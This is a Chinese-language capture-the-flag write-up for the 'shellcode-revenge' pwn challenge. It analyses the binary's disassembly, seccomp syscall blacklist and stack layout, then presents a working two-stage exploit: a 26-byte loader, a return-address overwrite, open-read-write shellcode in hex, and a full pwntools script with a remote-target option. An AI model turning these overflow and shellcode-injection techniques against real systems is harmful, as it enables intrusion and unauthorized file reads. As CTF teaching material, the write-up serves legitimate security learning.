shellcode-revenge 详细题解
通过网盘分享的文件:pwn(1)
链接: https://pan.baidu.com/s/1hg6Ww6LNiFWX5SIJNDl2hw?pwd=neuq 提取码: neuq
1. 基本信息
| 项目 | 值 |
|---|---|
| 文件名 | pwn |
| 架构 | ELF64 x86_64, PIE |
| 编译环境 | GCC 7.5.0 (Ubuntu 18.04) |
| 保护机制 | PIE 开启,未 strip |
2. 静态分析
2.1 main 函数 (0x9e8)
0x9e8 sub rsp, 0x30 ; 分配 48 字节局部变量 0x9ec mov eax, 0 0x9f1 call init_io ; setvbuf 初始化 I/O 0x9f6 mov eax, 0 0x9fb call sandbox ; 设置 seccomp 沙箱 0xa00 mov qword [rbp-8], 0 0xa08 mov r9d, 0 ; offset = 0 0xa0e mov r8d, -1 ; fd = -1 0xa14 mov ecx, 0x22 ; MAP_ANONYMOUS | MAP_PRIVATE 0xa19 mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXEC 0xa1e mov esi, 0x1000 ; size = 4096 0xa23 mov edi, 0x233000 ; addr = 固定地址 0xa28 call mmap ; → RWX 内存页 0xa2d mov [rbp-8], rax ; 保存 mmap 返回值 0xa31 lea rdi, [rip+0xe0] ; "Well.Just a little." 0xa38 call puts 0xa3d mov rax, [rbp-8] 0xa41 mov edx, 0x1a ; size = 26 0xa46 mov rsi, rax 0xa49 mov edi, 0 ; stdin 0xa4e call read ; read(0, 0x233000, 26) 0xa53 lea rdi, [rip+0xd6] ; "Let's see what u can do this time~" 0xa5a call puts 0xa5f lea rax, [rbp-0x30] ; 栈缓冲区 (仅 48 字节) 0xa63 mov edx, 0x100 ; size = 256 0xa68 mov rsi, rax 0xa6b mov edi, 0 0xa70 call read ; read(0, stack_buf, 256) ← 栈溢出 0xa75 lea rdi, [rip+0xd7] ; "See you!" 0xa7c call puts 0xa81 mov eax, 0 0xa86 leave 0xa87 ret关键行为:
- 通过
mmap在固定地址0x233000分配 0x1000 字节 RWX 内存 - 向该 RWX 区域读入26 字节shellcode
- 向栈上 48 字节的缓冲区读入256 字节— 缓冲区溢出
- main 返回时可以控制 RIP
2.2 sandbox 函数 (0x87b)
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) ; 禁止获取新权限随后在栈上构造 seccomp BPF 过滤器,共 13 条指令。经逐条翻译,过滤逻辑如下:
[0] LD arch → A = seccomp_data.arch [1] JEQ arch == x86_64, jt=0, jf=10 → 架构不对则跳到 KILL [2] LD syscall_number → A = 系统调用号 [3] JGE A >= 0x40000000, jt=8, jf=0 → 拦截 x32 调用 [4] JEQ A == 0x9d (157), jt=7, jf=0 → prctl → KILL [5] JEQ A == 0x38 (56), jt=6, jf=0 → clone → KILL [6] JEQ A == 0x39 (57), jt=5, jf=0 → fork → KILL [7] JEQ A == 0x3a (58), jt=4, jf=0 → vfork → KILL [8] JEQ A == 0x3b (59), jt=3, jf=0 → execve → KILL [9] JEQ A == 0x65 (101), jt=2, jf=0 → ptrace → KILL [10] JEQ A == 0x142 (322), jt=1, jf=0 → execveat → KILL [11] RET ALLOW (0x7fff0000) [12] RET KILL (0x00000000)补充:
如何分析哪些函数被禁用了
mov [rbp+var_70], 20h ; ' ' mov [rbp+var_6E], 0 mov [rbp+var_6D], 0 mov [rbp+var_6C], 4 mov [rbp+var_68], 15h mov [rbp+var_66], 0 mov [rbp+var_65], 0Ah mov [rbp+var_64], 0C000003Eh mov [rbp+var_60], 20h ; ' ' mov [rbp+var_5E], 0 mov [rbp+var_5D], 0 mov [rbp+var_5C], 0 mov [rbp+var_58], 35h ; '5' mov [rbp+var_56], 8 mov [rbp+var_55], 0 mov [rbp+var_54], 40000000h mov [rbp+var_50], 15h mov [rbp+var_4E], 7 mov [rbp+var_4D], 0 mov [rbp+var_4C], 9Dh mov [rbp+var_48], 15h mov [rbp+var_46], 6 mov [rbp+var_45], 0 mov [rbp+var_44], 38h ; '8' mov [rbp+var_40], 15h mov [rbp+var_3E], 5 mov [rbp+var_3D], 0 mov [rbp+var_3C], 39h ; '9' mov [rbp+var_38], 15h mov [rbp+var_36], 4 mov [rbp+var_35], 0 mov [rbp+var_34], 3Ah ; ':' mov [rbp+var_30], 15h mov [rbp+var_2E], 3 mov [rbp+var_2D], 0 mov [rbp+var_2C], 3Bh ; ';' mov [rbp+var_28], 15h mov [rbp+var_26], 2 mov [rbp+var_25], 0 mov [rbp+var_24], 65h ; 'e' mov [rbp+var_20], 15h mov [rbp+var_1E], 1 mov [rbp+var_1D], 0 mov [rbp+var_1C], 142h mov [rbp+var_18], 6 mov [rbp+var_16], 0 mov [rbp+var_15], 0 mov [rbp+var_14], 7FFF0000h mov [rbp+var_10], 6 mov [rbp+var_E], 0 mov [rbp+var_D], 0 mov [rbp+var_C], 0以上是sandbox()中关键部分,我们分析时将每四条指令分为一组,例如
0x8a7: mov word ptr [rbp-0x70], 0x20 ← code = 0x20 (LD arch) 0x8ad: mov byte ptr [rbp-0x6e], 0 ← jt = 0 0x8b1: mov byte ptr [rbp-0x6d], 0 ← jf = 0 0x8b5: mov dword ptr [rbp-0x6c], 4 ← k = 4 (offset for arch)这四条指令构成了一个seccomp BPF结构,二每一条BPF指令结构为
| 偏移 | 大小 | 含义 |
|---|---|---|
| +0 | 2 bytes | code— 指令类型 |
| +2 | 1 byte | jt— 条件为真时跳过的指令数 |
| +3 | 1 byte | jf— 条件为假时跳过的指令数 |
| +4 | 4 bytes | k— 比较的值 |
常见 opcode:
0x20 = BPF_LD | BPF_W | BPF_ABS → 从 seccomp_data 加载字段
0x15 = BPF_JMP | BPF_JEQ | BPF_K → 如果 A == k 则跳转
0x35 = BPF_JMP | BPF_JGE | BPF_K → 如果 A >= k 则跳转
0x06 = BPF_RET | BPF_K → 返回结果(ALLOW 或 KILL)
我们在例子中也标注出来了,然后我们将所有seccomp BPF指令提取出来得到:
[0] LD arch → A = seccomp_data.arch [1] JEQ arch == x86_64, jt=0, jf=10 → 架构不对则跳到 KILL [2] LD syscall_number → A = 系统调用号 [3] JGE A >= 0x40000000, jt=8, jf=0 → 拦截 x32 调用 [4] JEQ A == 0x9d (157), jt=7, jf=0 → prctl → KILL [5] JEQ A == 0x38 (56), jt=6, jf=0 → clone → KILL [6] JEQ A == 0x39 (57), jt=5, jf=0 → fork → KILL [7] JEQ A == 0x3a (58), jt=4, jf=0 → vfork → KILL [8] JEQ A == 0x3b (59), jt=3, jf=0 → execve → KILL [9] JEQ A == 0x65 (101), jt=2, jf=0 → ptrace → KILL [10] JEQ A == 0x142 (322), jt=1, jf=0 → execveat → KILL [11] RET ALLOW (0x7fff0000) [12] RET KILL (0x00000000)但他具体是怎么工作的呢,例如现在出现了execve函数,程序检测为真,往下跳了jt+1个指令(也就是四个指令),这里的指令不是汇编指令,而是seccomp BPF的指令(也就是我上边提取出来的seccomp BPF指令前面的标号),我们从8往下数4个就是kill,于是程序就拒绝执行execve函数
黑名单总结:
| syscall | 编号 | 十进制 | 拦截原因 |
|---|---|---|---|
prctl | 0x9d | 157 | 禁止修改 seccomp |
clone | 0x38 | 56 | 禁止创建进程 |
fork | 0x39 | 57 | 禁止创建进程 |
vfork | 0x3a | 58 | 禁止创建进程 |
execve | 0x3b | 59 | 禁止执行新程序 |
ptrace | 0x65 | 101 | 禁止调试/修改 |
execveat | 0x142 | 322 | 禁止执行新程序 |
允许使用的 syscall(关键):open(2),read(0),write(1),mmap(9),mprotect(10),exit(60),getdents64(78) 等均可用。
2.3 栈布局分析
rbp-0x30 → 栈缓冲区 (48 bytes) ← 输入偏移 0x00 rbp → 保存的 RBP (8 bytes) ← 输入偏移 0x30 rbp+0x08 → 返回地址 (8 bytes) ← 输入偏移 0x38read(0, rbp-0x30, 0x100)允许写入 256 字节,远超 48 字节缓冲区,因此可以覆盖返回地址。
3. 漏洞利用思路
总体策略
由于execve被沙箱禁用,不能获取 shell。改为ORW(Open-Read-Write)方式直接读取 flag 文件。
Stage 0 (26B) → read(0, 0x233000, 512) ← 加载更多 shellcode 栈溢出 payload → 覆盖返回地址为 0x233000 ← 跳转执行 Stage 1 (ORW) → open("flag") → read() → write(1, buf)3.1 Stage 0 — 加载器 (26 字节)
塞入 0x233000 的前 26 字节,功能是读入更大的 Stage 1:
xor eax, eax ; 31 c0 syscall = read (0) xor edi, edi ; 31 ff fd = stdin (0) mov esi, 0x233000 ; be 00 30 23 00 buf = RWX 地址 mov edx, 0x200 ; ba 00 02 00 00 count = 512 syscall ; 0f 05 read(0, 0x233000, 512) ; 填充 NOP 对齐到 26 字节syscall返回后,CPU 继续执行0x233010,此时该处已被 Stage 1 数据覆盖。
Stage 1 输入结构:
字节 0-15 (0x233000 - 0x23300f): NOP 填充(覆盖 Stage 0) 字节 16+ (0x233010 往后): ORW shellcode 本体3.2 栈溢出 payload
'A' × 0x30 → 填充缓冲区 'B' × 0x08 → 覆盖保存的 RBP 0x233000 → 覆盖返回地址3.3 Stage 1 — ORW shellcode (68 字节)
在栈上构造 “flag\0” 字符串,然后依次调用:
; === open("flag", O_RDONLY) === xor eax, eax ; 31 c0 push rax ; 50 ; null 终止符 mov rax, 0x67616c66 ; 48 b8 66 6c 61 67 00 00 00 00 ; "flag" push rax ; 50 mov rdi, rsp ; 48 89 e7 ; rdi → "flag" xor esi, esi ; 31 f6 ; O_RDONLY xor edx, edx ; 31 d2 mov eax, 2 ; b8 02 00 00 00 ; open syscall ; 0f 05 ; === read(fd, buf, 0x100) === mov edi, eax ; 89 c7 ; fd mov rsi, rsp ; 48 89 e6 ; buf = stack mov edx, 0x100 ; ba 00 01 00 00 xor eax, eax ; 31 c0 ; read syscall ; 0f 05 ; === write(1, buf, count) === mov edx, eax ; 89 c2 ; count from read mov edi, 1 ; bf 01 00 00 00 ; stdout mov rsi, rsp ; 48 89 e6 ; buf mov eax, 1 ; b8 01 00 00 00 ; write syscall ; 0f 05 ; === exit(0) === xor edi, edi ; 31 ff mov eax, 60 ; b8 3c 00 00 00 ; exit syscall ; 0f 05完整 Hex:
31 c0 50 48 b8 66 6c 61 67 00 00 00 00 50 48 89 e7 31 f6 31 d2 b8 02 00 00 00 0f 05 89 c7 48 89 e6 ba 00 01 00 00 31 c0 0f 05 89 c2 bf 01 00 00 00 48 89 e6 b8 01 00 00 00 0f 05 31 ff b8 3c 00 00 00 0f 053.4 完整执行流
[程序启动] ↓ mmap(0x233000, 0x1000, RWX) ↓ puts("Well.Just a little.") ← 收到输出 ↓ read(0, 0x233000, 26) ← 发送 Stage 0 ↓ puts("Let's see what u can do this~") ← 收到输出 ↓ read(0, rbp-0x30, 256) ← 发送溢出 payload ↓ puts("See you!") ↓ leave; ret → RIP = 0x233000 ↓ Stage 0: read(0, 0x233000, 512) ← 发送 Stage 1 (ORW) ↓ Stage 1: open("flag") → read() → write(1, flag) ↓ [输出 flag 内容]4. 完整攻击代码
详细见同目录下的exploit.py。核心结构:
frompwnimport*context(os="linux",arch="amd64")BASE_ADDR=0x233000# === Stage 0: 26 字节加载器 ===stage0=b'\x31\xc0'# xor eax, eaxstage0+=b'\x31\xff'# xor edi, edistage0+=b'\xbe'+p32(BASE_ADDR)# mov esi, BASE_ADDRstage0+=b'\xba\x00\x02\x00\x00'# mov edx, 0x200stage0+=b'\x0f\x05'# syscallstage0+=b'\x90'*(26-len(stage0))# 填充到 26 字节# === 栈溢出 payload ===overflow=b'a'*0x30+b'b'*0x08+p64(BASE_ADDR)# === ORW shellcode ===orw=bytes.fromhex("31c05048b8666c616700000000504889e731f631d2""b8020000000f0589c74889e6ba0001000031c00f05""89c2bf010000004889e6b8010000000f0531ffb83c""0000000f05")stage1=b'\x90'*16+orw# === 攻击流程 ===io=process('./pwn')io.recvuntil(b"Well.Just a little.\n")io.send(stage0)io.recvuntil(b"Let's see what u can do this time~\n")io.send(overflow)io.recvuntil(b"See you!\n")sleep(0.5)io.send(stage1)flag=io.recvall()print(f"[+] Flag:{flag}")远程攻击
io=remote("host",port)# 后续流程同上本地运行
python3 exploit.py# 或python3 exploit.py ./pwn